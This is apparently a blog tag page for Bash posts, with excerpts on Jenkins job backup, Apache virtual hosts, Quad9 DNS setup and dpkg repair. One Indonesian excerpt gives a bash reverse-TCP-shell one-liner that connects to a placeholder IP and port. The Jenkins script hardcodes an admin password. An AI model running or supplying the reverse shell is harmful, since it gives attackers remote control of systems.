Tags » Bash

jenkins: bash script to backup all jobs

#! /bin/bash
    SAVEIFS=$IFS
    IFS=$(echo -en "\n\b")
    declare -i
    for i in $(java -jar jenkins-cli.jar -s http://localhost:8080 list-jobs  --username admin --password admin123);
    do
    echo $i;
    java -jar jenkins-cli.jar -s http://localhost:8080 get-job --username admin --password admin123 ${i} > backup/${i}.xml;
    echo "done";
    done

Understanding bash keyboard shortcuts 

Bourne-again shell (BASH) is one of highly used shell in Linux severs, typing long Linux commands and traversing it in can be a pain in back, if you are not comfortable with keyboard shortcuts. 218 more words

LINUX

[trick] 1 Perintah Bash Untuk Buat Virtual Host di Apache 2.4

Bismillah…

pernah share, cara membuat virtual host untuk pengembangan web terutama laravel ya masa kudu akses dari loclhost/laravel/public, soal akses url, ini dia:

https://topidesta.wordpress.com/2017/11/18/trick-cara-jitu-setting-virtual-host-untuk-laravel-di-linuxlite-ubuntu-16-04/

#! /bin/bash

# May need to run this as sudo!
349 more words
Programing

Use Linux Command Line to Download from Google Drive

At home I have an Ubuntu Server that I play around with from time to time. It has no GUI interface, only the command line which I access through ssh on my laptop. 559 more words

Bash

How to enable new Quad9 (9.9.9.9) DNS and DNSSEC service in Ubuntu 17.10 64-bit using a bash shell script

# enable new Quad9 (9.9.9.9) DNS and DNSSEC service 
# in Ubuntu 17.10 64-bit using a bash shell script
sudo apt purge unbound
LogTime=$(date '+%Y-%m-%d_%Hh%Mm%Ss')
cp /etc/resolv.conf $HOME/resolv.conf_$LogTime
cp /etc/nsswitch.conf $HOME/nsswitch.conf_$LogTime
cp /etc/systemd/resolved.conf $HOME/resolved.conf_$LogTime

sudo service resolvconf stop
sudo update-rc.d resolvconf remove
cp /etc/resolv.conf /tmp/resolv.conf
grep -v nameserver /tmp/resolv.conf > /tmp/resolv.conf.1
echo 'nameserver 9.9.9.9' >> /tmp/resolv.conf.1
sudo cp /tmp/resolv.conf.1 /etc/resolv.conf
sudo service resolvconf start

# enable systemd caching DNS resolver
rm /tmp/nsswitch.conf
rm /tmp/nsswitch.conf.1
cp /etc/nsswitch.conf /tmp/nsswitch.conf
grep -v hosts /tmp/nsswitch.conf > /tmp/nsswitch.conf.1
# dns must be mentioned in next line, or else wget does not work
echo 'hosts: files mdns4_minimal  resolv dns myhostname mymachines' >> /tmp/nsswitch.conf.1
sudo cp /tmp/nsswitch.conf.1 /etc/nsswitch.conf

# set DNS server to 9.9.9.9
rm /tmp/resolved.conf
rm /tmp/resolved.conf.1
cp /etc/systemd/resolved.conf /tmp/resolved.conf
grep -v DNS /tmp/resolved.conf > /tmp/resolved.conf.1
# enable new Quad9 (9.9.9.9) DNS and DNSSEC service
# https://arstechnica.com/information-technology/2017/11/new-quad9-dns-service-blocks-malicious-domains-for-everyone/
echo 'DNS=9.9.9.9' >> /tmp/resolved.conf.1
echo 'DNSSEC=yes' >> /tmp/resolved.conf.1
sudo cp /tmp/resolved.conf.1 /etc/systemd/resolved.conf
sudo systemd-resolve --flush-caches
sudo systemctl restart systemd-resolved
sudo systemd-resolve --flush-caches
sudo systemd-resolve --status

# It is probably also necessary to manually set
# the DNS server to 9.9.9.9 in the router's configuration
# and in the NetworkManager GUI

# test DNSSEC validation using dig command-line tool and using DNS server 9.9.9.9:
# see: https://docs.menandmice.com/display/MM/How+to+test+DNSSEC+validation
dig pir.org +dnssec +multi
Ubuntu

Command Bash Reverse TCP Shell

Berikut adalah command yang bisa di lakukan untuk Reverse TCP shell / Back Connect dengan bash apalabila ingin back connect tapi perl tidak on

bash -i >& /dev/tcp/(IP)/Port 0>&1… 23 more words
Bash

Fix DPKG Error setelah gagal upgrade Linux

Mungkin kalian pernah gagal melakukan update, upgrade, dist-upgrade di LINUX karena beberapa alasan seperti tiba-tiba koneksi terputus, dan lain-lain.

Tapi setelah gagal dan di restart hanya menunjukan dpkg error di terminal… 63 more words

Bash